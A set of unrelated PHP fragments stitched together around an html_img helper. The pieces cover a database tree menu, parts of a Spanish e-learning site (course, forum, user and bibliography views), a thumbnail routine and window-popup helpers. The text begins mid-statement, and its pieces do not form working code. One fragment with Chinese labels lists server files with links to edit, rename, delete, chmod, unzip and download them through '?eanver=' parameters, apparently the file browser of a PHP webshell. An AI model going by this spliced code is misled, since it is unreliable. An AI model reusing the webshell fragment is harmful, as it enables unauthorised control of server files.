"id='t{$x}.{$y}' onclick='showHideTree({$x}.{$y})'"), @html_img("img/xsch", "Sch: {$sch}"), " <a href='db.php?id={$conn['0']},{$db},{$sch}' target='main'>{$sch}</a></div>\n\t<div id='p{$x}.{$y}' style='display:none'>"; } $z = 0; foreach ($arr3 as $typ => $arr4) { $z++; $is_lastZ = $z == $numZ ? 'last' : ''; $strZ = @html_img("img/trline{$is_lastZ}.gif"); $numZZ = $typ == 'S' ? 0 : count($arr4); if ($numZZ) { $allNode[] = "{$x}.{$y}.{$z}"; } if ($typ == 'S') { $numZZsum = $arr4; } else { $numZZsum = 0; foreach ($arr4 as $arr5) { $numZZsum += $typ == 'f' ? $arr5 : count($arr5); } } echo "\n\t\t<div>{$strX}{$strY}", @html_img("img/tr" . ($numZZ ? "" : "join") . "{$is_lastZ}.gif", "", $numZZ ? "id='t{$x}.{$y}.{$z}' onclick=\"showHideTree('{$x}.{$y}.{$z}')\"" : ""), @html_img("img/z{$typ}"), " <a href='db.php?id={$conn['0']},{$db},{$sch},{$typ}' target='main'>{$arr_typ[$typ]}</a>", $numZZsum ? " ({$numZZsum})" : "", "</div>\n\t\t<div id='p{$x}.{$y}.{$z}' style='display:none'>"; $zz = 0; foreach ($arr4 as $tab => $arr5) { $zz++; $is_lastZZ = $zz == $numZZ ? 'last' : ''; $strZZ = @html_img("img/trline{$is_lastZZ}.gif"); $numZY = count($arr5); if ($typ == 'f') { echo "\n\t\t\t<div>{$strX}{$strY}{$strZ}", @html_img("img/trjoin{$is_lastZZ}.gif"), @html_img("img/xf"), " <a href='db.php?id={$conn['0']},{$db},{$sch},{$typ},{$tab}' target='main'>{$tab}</a>", $arr5 ? " ({$arr5})" : "", "</div>"; } elseif ($numZY > 1 && $numZZ > 1) { $allNode[] = "{$x}.{$y}.{$z}.{$zz}"; echo "\n\t\t\t<div>{$strX}{$strY}{$strZ}", @html_img("img/tr{$is_lastZZ}.gif", "", "id='t{$x}.{$y}.{$z}.{$zz}' onclick=\"showHideTree('{$x}.{$y}.{$z}.{$zz}')\""), @html_img("img/xf.gif"), " <a href='db.php?id={$conn['0']},{$db},{$sch},{$typ},{$tab}' target='main'>{$tab}</a>", $numZY ? " ({$numZY})" : "", "</div>\n\t\t\t<div id='p{$x}.{$y}.{$z}.{$zz}' style='display:none'>"; $zy = 0; foreach ($arr5 as $v) { $zy++; $is_lastZY = $zy == $numZY ? 'last' : ''; echo "\n\t\t\t\t<div>{$strX}{$strY}{$strZ}{$strZZ}", @html_img("img/trjoin{$is_lastZY}.gif"), "<a href='tab.php?id={$conn['0']},{$db},{$sch},{$typ},{$v}&desc=1' title='", @lang(2403), "' target='main'>", @html_img("img/x{$typ}"), "</a> <a href='tab.php?id={$conn['0']},{$db},{$sch},{$typ},{$v}' title='{$v}' target='main'>{$v}</a></div>"; } echo "\n\t\t\t</div><!--p{$x}.{$y}.{$z}.{$zz}-->"; } else { $zy = 0; foreach ($arr5 as $v) { $zy++; $is_lastZY = $zy == $numZY && $zz == $numZZ ? 'last' : ''; echo "\n\t\t\t<div>{$strX}{$strY}{$strZ}", @html_img("img/trjoin{$is_lastZY}.gif"), "<a href='tab.php?id={$conn['0']},{$db},{$sch},{$typ},{$v}&desc=1' title='", @lang(2403), "' target='main'>", @html_img("img/x{$typ}"), "</a> <a href='tab.php?id={$conn['0']},{$db},{$sch},{$typ},{$v}' title='{$v}' target='main'>{$v}</a></div>"; } } } echo "\n\t\t</div><!--p{$x}.{$y}.{$z}-->"; } if ($conn[1] == 'pg') { echo "\n\t</div><!--p{$x}.{$y}-->"; } } echo "\n</div><!--p{$x}-->"; } echo "\n</div><!--menu-->\n<script type='text/javascript'>\nfunction showAll(){\n\tvar mode=document.getElementById('menuRoot').title;\n\tdocument.getElementById('menuRoot').title=(mode=='", @lang(2401), "' ? '", @lang(2402), "' : '", @lang(2401), "');\n\tvar node=new Array('", @implode("','", $allNode), "');\n\tfor(i=0;i<node.length;i++) showHideTree(node[i],(mode=='", @lang(2401), "' ? 1 : -1));\n}\n</script>"; }
function add_mainMenu() { $div = html_div(''); $div->add(html_br()); $table =& html_table(Session::getContextValue('mainInterfaceWidth'), 0, 0, 0); $row = html_tr(); $blank = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 10, 10)); //$blank->set_tag_attribute('colspan','4'); $image = html_td('', '', html_img(Theme::getThemeImagePath("invisible.gif"), 20, 14)); $image->set_tag_attribute('align', 'right'); $image->set_tag_attribute('width', '40%'); $item1 = html_td('', '', 'Mi progreso'); $item1->set_tag_attribute('width', '12%'); $item2 = html_td('', '', 'Mis accesos directos'); $item2->set_tag_attribute('width', '16%'); $item3 = html_td('', '', 'Mis contactos'); $item3->set_tag_attribute('width', '12%'); $item4 = html_td('', '', 'Mis notas'); $item4->set_tag_attribute('width', '10%'); $link = html_a(Util::format_URLPath("filemanager/index.php"), agt('Mis documentos'), null, "_top"); $link->set_tag_attribute('class', ''); $item5 = html_td('', '', $link); $item5->set_tag_attribute('width', '12%'); $row->add($blank); $row->add($image); $row->add($item1); $row->add($item2); $row->add($item3); $row->add($item4); $row->add($item5); $table->add_row($row); $div->add($table); return $div; }
function _addImage() { //Choose image switch (PHP_OS) { case "WIN32": case "WINNT": $wizardImage = "install/windowsWizard.png"; break; case "Linux": $wizardImage = "install/linuxWizard.png"; break; default: $wizardImage = "install/defaultWizard.png"; } $wizImage = html_img(Theme::getThemeImagePath($wizardImage), 0, 0, 0, "Wizzard Image"); $wizImage->set_tag_attribute("align", "right"); return $wizImage; }
/** * this function returns the contents * of the left block. It is already wrapped * in a TD * * @return HTMLTag object */ function right_block() { $ret_val = container(); $hr = html_hr(); $hr->set_tag_attribute('noshade'); $hr->set_tag_attribute('size', 2); $ret_val->add($hr); $div = html_div('ul-big'); $div->add(html_img(Util::app_URLPath('../var/themes/Miguel/image/menu/addcourse.png'), 0, 0, 0, '')); $div->add(html_b('Nuevo Curso')); $div->add(html_br(2)); $ret_val->add($div); $ret_val->add($this->addForm('newCourse', 'miguel_newCourseForm')); return $ret_val; //$div = html_div(); //$div->add($this->addForm('newCourse', 'miguel_newCourseForm')); //return $div; }
/** * Permite añadir un enlace pop-up en la ventana * @param string $str_url Nombre del módulo que se invoca * @param string $str_param Parametros adicionales (opcional) * @param string $str_image Nombre de la imagen * @param string $str_image_text Texto para la imagen (opcional) * @param string $int_h Ancho de la ventana (opcional) * @param string $int_w Alto de la ventana (opcional) * @param string $int_x Posición horizontal de la ventana (opcional) * @param string $int_y Posición vertical de la ventana (opcional) * @return object Instancia de html_a */ function addPopup($str_url, $str_image, $str_param = '', $str_image_text = '', $int_w = 0, $int_h = 0, $int_x = 0, $int_y = 0) { if ($str_param == '') { $path_action = Util::format_URLPath($str_url); } else { $path_action = Util::format_URLPath($str_url, $str_param); } $path_action = Util::format_URLPath($str_url, $str_param); $link = html_a($path_action); //$link = html_a('#',''); $link->add(html_img(Theme::getThemeImagePath($str_image), null, null, null, $str_image_text)); /* if($str_param == ''){ $path_action = Util::format_URLPath($str_url); } else { $path_action = Util::format_URLPath($str_url, $str_param); } $path_action = Util::format_URLPath($str_url, $str_param); $link->set_tag_attribute('onClick', "javascript:newWin('".$path_action."', ".$int_w.", ".$int_h.", ".$int_x.", ".$int_y.")"); $link->set_tag_attribute('onClick', "javascript:ponerIframe('".$path_action."')"); */ $link->set_tag_attribute('target', 'myFrame'); return $link; }
/** show a thumbnail of a single (image) file perhaps including clickable links for selection in FCK Editor * * This constructs a single clickable image with either a selection of the file (for FCK Editor, in * file/image browser mode) or a link to the file preview. If a file is not an image or otherwise no * suitable thumbnail is found, a large question mark is displayed (unknown.gif). Otherwise the existing * thumbnail is shown, maintaining the original aspect ratio. Either way the image is scaled to the currently * specified thumbail dimension so the image fits the corresponding DIV-tag. * * The strategy for finding a thumbnail is as follows: * - is the file to show an image at all? If not, show unknown.gif * - if the file zz_thumb_{filename.ext} exists, use that, otherwise * - if not AND the original file is smaller than a thumbnailm use the original file, otherwise * - use 'unknown.gif' after all. * * If the flag $delete_file is set, we also generate a checkbox and a delete icon. This means that * even in file/image browser mode files can be deleted by the user. In fact the file/image browser * is basically the same old filemanager. * * @param string $directory the current working directory (necessary to construct (full) paths) * @param array $entry information about the file to show, see {@link get_entries()} for the format * @param bool $delete_file if TRUE, user is allowed to delete the file (used for generating delete icon) * @param int $index a counter used to generate a unique field name for the checkbox * @param string $m optional margin for better code readability * @return output generated via $this->output * @uses $WAS_SCRIPT_NAME * @uses $CFG */ function show_file_as_thumbnail($directory, $entry, $delete_file, $index, $m = '') { global $WAS_SCRIPT_NAME, $CFG; // 1A -- prepare the clickable thumbnail (or 'unknown') image $filename = $entry['name']; $params = array('{FILENAME}' => $entry['vname'], '{SIZE}' => $this->human_readable_size($entry['size']), '{DATIM}' => strftime('%Y-%m-%d %T', $entry['mtime'])); $image_path = sprintf('%s%s/%s', $CFG->datadir, $directory, $filename); if (($image_info = @getimagesize($image_path)) === FALSE) { // not an image, show 'unknown' $thumb_url = $CFG->progwww_short . '/graphics/unknown.gif'; $thumb_width = $CFG->thumbnail_dimension; $thumb_height = $CFG->thumbnail_dimension; $properties = t('filemanager_title_thumb_file', 'admin', $params); } else { $image_width = $image_info[0]; $image_height = $image_info[1]; $image_dimension = max($image_width, $image_height); $thumb_path = sprintf('%s%s/%s%s', $CFG->datadir, $directory, THUMBNAIL_PREFIX, $filename); if (file_exists($thumb_path)) { $thumb_url = $this->file_url(sprintf('%s/%s%s', $directory, THUMBNAIL_PREFIX, $filename)); $thumb_width = intval($image_width * $CFG->thumbnail_dimension / $image_dimension); $thumb_height = intval($image_height * $CFG->thumbnail_dimension / $image_dimension); } elseif ($image_dimension <= $CFG->thumbnail_dimension) { $thumb_url = $this->file_url(sprintf('%s/%s', $directory, $filename)); $thumb_width = $image_width; $thumb_height = $image_height; } else { $thumb_url = $CFG->progwww_short . '/graphics/unknown.gif'; $thumb_width = $CFG->thumbnail_dimension; $thumb_height = $CFG->thumbnail_dimension; } $params['{WIDTH}'] = strval($image_width); $params['{HEIGHT}'] = strval($image_height); $properties = t('filemanager_title_thumb_image', 'admin', $params); } $title = $properties; $img_attr = array('width' => $thumb_width, 'height' => $thumb_height, 'title' => $title); $anchor = html_img($thumb_url, $img_attr); // 1B -- choose between a file select (for FCK Editor) or file preview (generic file manager) if ($this->job == JOB_FILEBROWSER || $this->job == JOB_IMAGEBROWSER || $this->job == JOB_FLASHBROWSER) { // Note: we depend on Javascript here, but since FCK Editor is also a Javascript application... // In other words: we would not be here in the first place if Javascript wasn't enabled. // (The file preview option does not depend on Javascript, see task_preview_file().) $url = $this->file_url($entry['path']); $title = t('filemanager_select', 'admin', array('{FILENAME}' => htmlspecialchars($entry['name']))); $a_attr = sprintf('title="%s" onclick="select_url(\'%s\'); return false;"', $title, $url); $html_a_tag = html_a("#", NULL, $a_attr, $anchor); } else { $a_params = sprintf('job=%s&task=%s&%s=%s', $this->job, TASK_PREVIEW_FILE, PARAM_PATH, rawurlencode($entry['path'])); $url = $WAS_SCRIPT_NAME . '?' . htmlspecialchars($a_params); $a_attr = sprintf('title="%s" target="_blank" onclick="popup(\'%s\'); return false;"', $title, $url); $html_a_tag = html_a($WAS_SCRIPT_NAME, $a_params, $a_attr, $anchor); } // 2 -- prepare checkbox and delete icon (if file deletion is allowed) if ($delete_file && $entry['is_file']) { $checkbox_def = array('type' => F_CHECKBOX, 'name' => sprintf('%s%d', PARAM_FILENAME, $index), 'options' => array($entry['name'] => ' '), 'title' => t('filemanager_select_file_entry_title', 'admin'), 'value' => ''); $widget = dialog_get_widget($checkbox_def); $title = t('filemanager_delete_file', 'admin', array('{FILENAME}' => htmlspecialchars($entry['vname']))); $a_params = array('job' => $this->job, 'task' => TASK_REMOVE_FILE, PARAM_PATH => $entry['path']); $a_attr = array('title' => $title); $alt = t('icon_delete_file_alt', 'admin'); $text = t('icon_delete_file_text', 'admin'); $anchor = $this->output->skin->get_icon('delete', $title, $alt, $text); $icon = html_a($WAS_SCRIPT_NAME, $a_params, $a_attr, $anchor); } else { $icon = ''; $widget = ''; } // 3 -- place all prepared items in a separate DIV $this->output->add_content($m . '<div class="thumbnail_container">'); $this->output->add_content($m . ' <div class="thumbnail_image">'); $this->output->add_content($m . ' ' . $html_a_tag); $this->output->add_content($m . ' </div>'); $this->output->add_content($m . ' <div class="thumbnail_delete">'); $this->output->add_content($widget); $this->output->add_content($m . ' ' . $icon); $this->output->add_content($m . ' </div>'); $this->output->add_content($m . ' <div class="thumbnail_description">'); $this->output->add_content($m . ' ' . html_tag('span', array('title' => $properties), htmlspecialchars($entry['vname']))); $this->output->add_content($m . ' </div>'); $this->output->add_content($m . '</div>'); }
function right_section() { $div = html_div(); $div->set_id('content'); $div->add(html_br()); $status = $this->getViewVariable('status'); switch ($status) { case 'new_post': $div->add($this->addForm('discuss', 'miguel_newPostForm')); break; case 'new': $div->add($this->addForm('discuss', 'miguel_newTopicForm')); break; case 'list_topic': $div->add($this->addTopicList()); break; case 'list_post': $div->add($this->processListPost()); break; case 'norm': $div->add($this->addForumNormative()); break; case 'topic': default: $div->add($this->addForumDescription()); } $div->add(html_br()); $div->add(html_img(Theme::getThemeImagePath("hr01.gif"), 400, 15)); $div->add(html_br(2)); return $div; }
function add_catalogInfo($_name, $_surname, $_surname2, $_dni, $_user, $_phone, $_email, $_log) { $row = html_tr(); $link = $this->imag_alone(Util::format_URLPath('userManager/index.php', 'status=show&id=' . $_user . '&pid=' . $this->getViewVariable('pid')), Theme::getThemeImagePath('icono05.gif'), agt('Ver')); if ($_log) { $img_type = html_img(Theme::getThemeImagePath('conectado.gif'), 23, 20, 0); } else { $img_type = html_img(Theme::getThemeImagePath('desconectado.gif'), 23, 20, 0); } $conectado = html_td('', '', $img_type); //$link = _HTML_SPACE; $elem1 = html_td('ptabla03', '', $link); $elem1->set_tag_attribute('align', 'center'); $elem2 = html_td('ptabla03', '', agt($_name)); $elem3 = html_td('ptabla03', '', agt($_surname)); $elem4 = html_td('ptabla03', '', agt($_surname2)); $elem5 = html_td('ptabla03', '', agt($_dni)); $elem6 = html_td('ptabla03', '', agt($_user)); $elem7 = html_td('ptabla03', '', $img_type); $elem8 = html_td('ptabla03', '', agt($_phone)); $elem9 = html_td('ptabla03', '', agt($_email)); $elem1->set_tag_attribute('width', '2%'); $elem2->set_tag_attribute('width', '10%'); $elem3->set_tag_attribute('width', '10%'); $elem4->set_tag_attribute('width', '10%'); $elem5->set_tag_attribute('width', '8%'); $elem6->set_tag_attribute('width', '8%'); $elem7->set_tag_attribute('width', '2%'); $elem8->set_tag_attribute('width', '10%'); $elem9->set_tag_attribute('width', '40%'); $row->add($elem1); $row->add($elem2); $row->add($elem3); $row->add($elem4); $row->add($elem5); $row->add($elem6); $row->add($elem7); $row->add($elem8); $row->add($elem9); return $row; }
/** return ready-to-use HTML-code for an anchor to be used in the navigation bar * * this routine can create two variations of an anchor for a knob in the navigation bar: * * - graphical: this includes the file {$icon}.gif and the $title and $alt attributes * - text with $alt: this yields a text-based icon using the $alt-parameter * * The difference with the routine {@link get_icon()} is that we do not have * a variation with a separate $text parameter. Another difference is that the * 'knobs' in the navigation bar have different dimensions than the icons used * elsewhere. (Knobs usually are 32x32 and icons are usually 16x16). * * @param string $icon identifies the image file (without the .gif extension) * @param string $title attribute to add to graphical icon * @param string $alt attribute to add to graphical icon OR text of icon * @param string $text text of the icon if not graphical and not using alt text * @return string ready to use HTML-code */ function get_knob($knob, $title = '', $alt = '') { if ($this->text_only) { $anchor = html_tag('span', 'class="knob"', $alt); } else { $img_attr = array('width' => $this->knob_width, 'height' => $this->knob_height, 'alt' => $alt); if (!empty($title)) { $img_attr['title'] = $title; } $anchor = html_img($this->icon_path . $knob . '.gif', $img_attr); } return $anchor; }
/** * Construye una imagen con referencia * @access private */ function help_img($path_action, $path_img, $text) { $table = container(); if ($text == '') { $elem = html_a("#", ""); $elem->add(html_img($path_img, 0, 0, 0, "help")); $elem->set_tag_attribute("onClick", "MyWindow=window.open('" . $path_action . "','MyWindow','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,width=500,height=600,left=300,top=40'); return false;"); $elem->set_tag_attribute('accesskey', 'h'); $elem->set_tag_attribute('tabindex', '5'); $table->add($elem); } else { $elem = html_a("#", ""); $elem->add(html_img($path_img, 0, 0, 0, "")); $elem->set_tag_attribute("onClick", "MyWindow=window.open('" . $path_action . "','MyWindow','toolbar=no,location=no,directories=no,status=yes,menubar=no,scrollbars=yes,resizable=yes,width=400,height=500,left=300,top=10'); return false;"); $table->add($elem); $elem = html_a("#", $text); $elem->set_tag_attribute("onClick", "MyWindow=window.open('" . $path_action . "','MyWindow','toolbar=no,location=no,directories=no,status=yes,menubar=no,scrollbars=yes,resizable=yes,width=400,height=500,left=300,top=10'); return false;"); $table->add($elem); } return $table; }
while ($files = @$dir->read()) { if ($files == '.' or $files == '..') { continue; } $filepath = str_path("{$path}/{$files}"); if (!is_dir($filepath)) { $fsize = @filesize($filepath); $fsize = File_Size($fsize); $perm = substr(base_convert(fileperms($filepath), 10, 8), -4); $filetime = @date('Y-m-d H:i:s', @filemtime($filepath)); $Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $filepath); $todir = $ROOT_DIR . '/zipfile'; $filepath = urlencode($filepath); $it = substr($filepath, -3); html_n('<tr height="25"><td><input type="checkbox" name="files[]" value="' . $files . '">'); html_img(css_showimg($files)); html_a($Fileurls, $files); html_n('</td><td align="center">'); if ($it == '.gz' or $it == 'zip' or $it == 'tar' or $it == '.7z') { html_a('?unzip=' . $filepath, '解压', 'title="解压' . $files . '" onClick="rusurechk(\'' . $todir . '\',\'?unzip=' . $filepath . '&todir=\');return false;"'); } else { html_a('?eanver=editr&p=' . $filepath, '编辑', 'title="编辑' . $files . '"'); } html_n("<a href=\"#\" onClick=\"rusurechk('{$files}','?eanver=rename&p={$filepath}&newname=');return false;\">改名</a>"); html_n("<a href=\"#\" onClick=\"rusuredel('{$files}','?eanver=del&p={$filepath}');return false;\">删除</a> "); html_n("<a href=\"#\" onClick=\"rusurechk('" . urldecode($filepath) . "','?eanver=copy&p={$filepath}&newcopy=');return false;\">复制</a>"); html_n('</td><td align="center">'); html_a('?eanver=perm&p=' . $filepath . '&chmod=' . $perm, $perm); html_n('</td><td align="center">' . $filetime . '</td><td align="right">'); html_a('?down=' . $filepath, $fsize, 'title="下载' . $files . '"'); html_n('</td></tr>');
function main_block() { $table = html_table(Session::getContextValue("mainInterfaceWidth")); $table->set_tag_attribute('align', 'center'); //Cabecera $row0 = html_tr(); $item1 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta00.gif"), 42, 106)); $item1->set_tag_attribute('width', '1%'); $item1->set_tag_attribute('valign', 'top'); $row0->add($item1); $item2 = html_td('tituloalerta', '', $this->banner); $item2->set_tag_attribute('background', Theme::getThemeImagePath("fondo_alerta02.gif")); $item2->set_tag_attribute('width', '95%'); $item2->set_tag_attribute('valign', 'middle'); $row0->add($item2); $item3 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta03.gif"), 40, 106)); $item3->set_tag_attribute('width', '4%'); $item3->set_tag_attribute('valign', 'top'); $row0->add($item3); //$table->add_row($row0); //Cuerpo $row1 = html_tr(); $item11 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta04.gif"), 42, 106)); $item11->set_tag_attribute('width', '1%'); $item11->set_tag_attribute('valign', 'top'); //$row1->add($item11); $row1->add(html_td('ptexto01', '', $this->text)); $item13 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta05.gif"), 40, 106)); $item13->set_tag_attribute('width', '4%'); $item13->set_tag_attribute('valign', 'top'); //$row1->add($item13); $table->add_row($row1); $row2 = html_tr(); $item21 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta04.gif"), 42, 106)); $item21->set_tag_attribute('width', '1%'); $item21->set_tag_attribute('valign', 'top'); //$row2->add($item21); //Dejar así, no usar $this->addForm(), ya que el enlace se hace sin SID include_once Util::app_Path("common/view/classes/miguel_navform.class.php"); $boton = html_td('', '', new FormProcessor(new miguel_navForm(), 'reload', Util::main_URLPath('index.php'))); $row2->add($boton); $item23 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta05.gif"), 40, 106)); $item23->set_tag_attribute('width', '4%'); $item23->set_tag_attribute('valign', 'top'); //$row2->add($item23); $table->add_row($row2); //Pie $row9 = html_tr(); $item91 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta06.gif"), 42, 42)); //$item91->set_tag_attribute('width','1%'); $item91->set_tag_attribute('valign', 'top'); $row9->add($item91); $item92 = html_td('', '', _HTML_SPACE); $item92->set_tag_attribute('background', Theme::getThemeImagePath("fondo_alerta07.gif")); //$item92->set_tag_attribute('width','95%'); $item92->set_tag_attribute('valign', 'top'); $row9->add($item92); $item93 = html_td('', '', html_img(Theme::getThemeImagePath("fondo_alerta08.gif"), 40, 42)); //$item93->set_tag_attribute('width','4%'); $item93->set_tag_attribute('valign', 'top'); $row9->add($item93); //$table->add_row($row9); return $table; }
/** * Devuelve una imagen del tema * * @public */ function getThemeImage($imag_path, $description = '') { return html_img(Theme::getURLTheme() . 'image/' . $imag_path, 0, 0, 0, $description); }
function add_referenceInfo($_bookid, $_title, $_value) { $row = html_tr(); $title = html_td('ptabla03', '', agt($_title)); //$link = $this->imag_alone(Util::format_URLPath('bibliography/index.php',"status=resum&id=$_bookid"), // , agt('Resumen')); $link = html_a("#", ""); $link->add(html_img(Theme::getThemeImagePath('icono01.gif'), 0, 0, 0, 'resumen')); $path_action = Util::format_URLPath('bibliography/index.php', "status=resum&id={$_bookid}"); $link->set_tag_attribute("onClick", "javascript:newWin('" . $path_action . "',750,400,25,100)"); $resum = html_td('ptabla03', '', $link); $resum->set_tag_attribute('align', 'center'); $value = html_td('ptabla03', '', html_img(Theme::getThemeImagePath('valoracion' . $_value . '.gif'))); $value->set_tag_attribute('align', 'center'); $title->set_tag_attribute("width", "80%"); $resum->set_tag_attribute("width", "10%"); $value->set_tag_attribute("width", "10%"); $row->add($title); $row->add($resum); $row->add($value); return $row; }